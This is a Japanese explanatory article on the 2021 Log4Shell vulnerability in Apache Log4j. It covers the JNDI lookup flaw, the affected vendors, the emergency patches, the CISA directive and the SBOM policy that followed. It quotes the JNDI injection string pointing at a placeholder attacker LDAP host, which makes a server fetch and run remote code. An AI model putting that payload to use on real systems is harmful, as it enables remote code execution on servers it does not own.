Log4Shell ── 一行のログ出力で世界中の Java サーバが乗っ取られた

2021年12月9日（木）、 一枚のスクリーンショットが Twitter に投稿された ── Minecraft Java 版のチャットボックスに、 ある文字列を貼り付けるだけで、 そのサーバから攻撃者の指定したコードを実行させられる。 文字列はこうだった。

${jndi:ldap://attacker.example/x}

これだけ。 数時間のうちに、 この投稿は世界中の Java エコシステムを震撼させた。 翌週末までに、 Apache Software Foundation（ASF）、 Cloudflare、 GitHub、 主要クラウドベンダーすべての SIRT（インシデント対応チーム） が連続稼働状態に入り、 米 CISA はサイバーセキュリティ史上もっとも対象機器数が多い緊急指令を発令することになる。

これが Log4Shell（CVE-2021-44228、 CVSS 10.0）。 Apache Log4j 2.x の単一機能から生まれた、 史上最大級のリモートコード実行（RCE）脆弱性である。

バグの正体 ── JNDI lookup

Apache Log4j は、 Java エコシステムにおける事実上の標準ロガーである。 サーバが「ユーザがログインしました」「リクエストを処理しました」といった行を書き出す、 そのための一行を担う、 ほぼすべての Java 系プロダクトに依存されているコンポーネントだ。

2013年、 Log4j 2.0 のリリースに際して開発者は便利機能として lookup（参照）構文 を追加した。 ログメッセージ中に ${...} を書くと、 内容を実行時に解決して埋め込む ── 例: ${env:USER}、 ${sys:user.dir}、 そして問題の ${jndi:...}。

JNDI（Java Naming and Directory Interface）は本来、 LDAP や RMI 経由でリモートのオブジェクトを参照する仕組み。 古い Java では、 JNDI 経由で取得したリモートクラスがそのままデシリアライズ・実行され得た（Java の歴史的設計欠陥のひとつ）。 Log4j 2.x はその JNDI lookup を、 ログ出力対象の文字列内に書かれていれば誰のものでも解決 する設定で動いていた。

つまり攻撃手順は ── ログに残るかもしれないあらゆる入力（HTTP ヘッダの User-Agent、 認証ユーザ名、 検索キーワード、 ファイル名、 IRC のメッセージ、 Minecraft チャット）に ${jndi:ldap://attacker.example/Exploit} を入れる。 標的サーバの Log4j がそれをログ出力しようとした瞬間、 JNDI が攻撃者の LDAP サーバへ問い合わせ、 攻撃者が指す Java クラスファイルをダウンロード・実行する。 これだけで RCE が成立する。

影響範囲

Log4j は2001年に Apache プロジェクトとなり、 2014年以降は Java 業界標準として広く採用されていた。 影響範囲は文字通り 「Java で書かれた、 ほぼあらゆる商用サーバ製品」 を含む。 ASF や Cloudflare の事後解析・各ベンダーの自主開示で確認された主な該当系統は以下。

• クラウド基盤: Amazon Web Services、 Google Cloud、 Microsoft Azure、 Cloudflare、 Akamai
• 大手 SaaS: Apple iCloud、 Steam（Valve）、 Tencent QQ、 Twitter、 LinkedIn、 Baidu
• エンタープライズ: IBM、 Oracle、 VMware、 Cisco、 Salesforce、 ServiceNow、 Splunk
• 金融・産業: Bloomberg ターミナル、 主要銀行のオンラインバンキング、 自動車メーカーのテレマティクス
• ゲーム: Minecraft（Java 版）、 多数のオンラインゲームサーバ

Cloudflare CEO Matthew Prince は、 自社が受けた Log4Shell エクスプロイト試行が 公開直前の12月1日には既に観測されていた と報告し、 つまり攻撃者の一部は公開より前から脆弱性を握っていた可能性が高い。

緊急対応 ── ASF・CISA・ホワイトハウス

Apache Log4j 2.15.0（12月9日リリース） は JNDI lookup を既定で無効化したが、 続く調査で「JNDI を有効にするとなおバイパス可能」という亜種が判明し、 2.16.0（12月13日、 JNDI を完全除去）、 2.17.0（12月18日、 DoS 脆弱性 CVE-2021-45105 対応）、 2.17.1（12月28日） と緊急リリースが連続した。

米国土安全保障省 CISA は 12月17日、 緊急指令 22-02 を発令 ── 全連邦民間機関に「12月23日までに Log4j 脆弱性のスキャン・パッチを完了せよ」と命じた。 連邦機関が年末年始にこのような緊急対応を強いられたのは過去にほぼ例がなく、 米国とカナダの IT 部門はクリスマス休暇を返上することになった。

ホワイトハウスは2022年1月13日、 Apple、 Amazon、 Meta、 Google、 Microsoft、 IBM、 Oracle、 そして Linux Foundation・Apache・OpenSSF など主要 OSS 財団を招集し、 「Open Source Software Security Summit」 を開催。 ここで議論されたのは、 「クラウド業界全体が、 寄付ベースで保守される Apache のロガー一つに依存する」という構造をどう変えるか。

CSRB の事後検証

2022年7月、 米 DHS の Cyber Safety Review Board（CSRB） が初めての公式レビューを Log4Shell について公開した。 主要結論は以下。

• Log4Shell は今後 10年単位で長期的に悪用され続ける 脆弱性である（実際、 2026年現在も Mirai 系ボットネット、 国家アクター、 ランサムウェアによる Log4Shell 経由侵入が継続観測されている）。
• 脆弱性発見者（Chen Zhaojun）と Apache メンテナの責任ある開示は、 大手国家アクターによる事前悪用を最小化するうえで実質的に機能した。
• 一方で、 多くの組織は「自社環境に Log4j がどこに存在するか」を答えられず、 これが対応の最大のボトルネックとなった ── ここから SBOM（Software Bill of Materials） の必須化議論が一気に実装段階へ進む。

残したもの

Log4Shell が示したのは、 Heartbleed（2014年）以来の問いの 更新版 だった ── 商業ソフトウェアスタックは、 結局のところ、 善意のボランティアが書いた小さな OSS コンポーネントに、 すべて依存している。 そしてそれは Log4Shell の場合、 「ロガー」 という、 もっとも目立たない、 もっとも普遍的に呼び出されるレイヤーに埋め込まれていた。

事件後、 米国・EU・日本の各政府は 重要 OSS への直接支援（米 OpenSSF、 EU CRA（Cyber Resilience Act）、 日本 IPA OSS 推進）、 SBOM 配布義務化、 再現可能ビルド ── を法令・調達ガイドラインに次々と組み込んでいる。

「あなたが使っているソフトウェアの中に、 何が入っているか、 あなたは知っているか」 ── 2021年12月以降、 この問いに「Yes」と答えるための工程表が、 業界全体の宿題として残ることになる。